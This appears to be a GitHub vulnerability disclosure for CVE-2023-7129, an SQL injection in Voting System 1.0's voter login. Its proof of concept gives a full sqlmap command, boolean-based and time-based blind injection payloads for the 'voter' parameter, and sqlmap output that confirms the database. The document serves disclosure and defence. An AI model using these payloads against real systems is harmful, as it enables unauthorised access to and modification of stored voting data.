Skip to content

Latest commit

 

History

History
52 lines (46 loc) · 2.26 KB

Voting_System-SQL_Injection-2.md

File metadata and controls

52 lines (46 loc) · 2.26 KB

CVE-2023-7129_Voting_System-SQL_Injection-2

References:

Description:

Voting System 1.0 allows SQL Injection via parameter 'voter' in "/votesystem/". Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latest vulnerabilities in the underlying database.

Proof of Concept:

  • Go to the voters login page: "http://localhost/votesystem/"
  • Fill the voter id and password then click 'Sign In' button.
  • Intercept the request via Burp Suite and send to Repeater.
  • Copy and paste the request to a "r.txt" file.
  • Use sqlmap to exploit. In sqlmap, use 'voter' parameter to dump the database.
sqlmap -r r.txt -p voter --risk 3 --level 5 --threads 1 --random-agent tamper=between, randomcase --proxy="http://127.0.0.1:8080" --dbms mysql --batch --current-db
---
Parameter: voter (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: voter=11111' OR NOT 1116=1116-- lQWF&password=pass&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: voter=11111' AND (SELECT 4895 FROM (SELECT(SLEEP(5)))tJOZ)-- AnqV&password=pass&login=
---
[18:59:39] [INFO] testing MySQL
[18:59:39] [INFO] confirming MySQL
[18:59:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:59:39] [INFO] fetching current database
[18:59:39] [INFO] resumed: votesystem
current database: 'votesystem'
  • current database: votesystem 2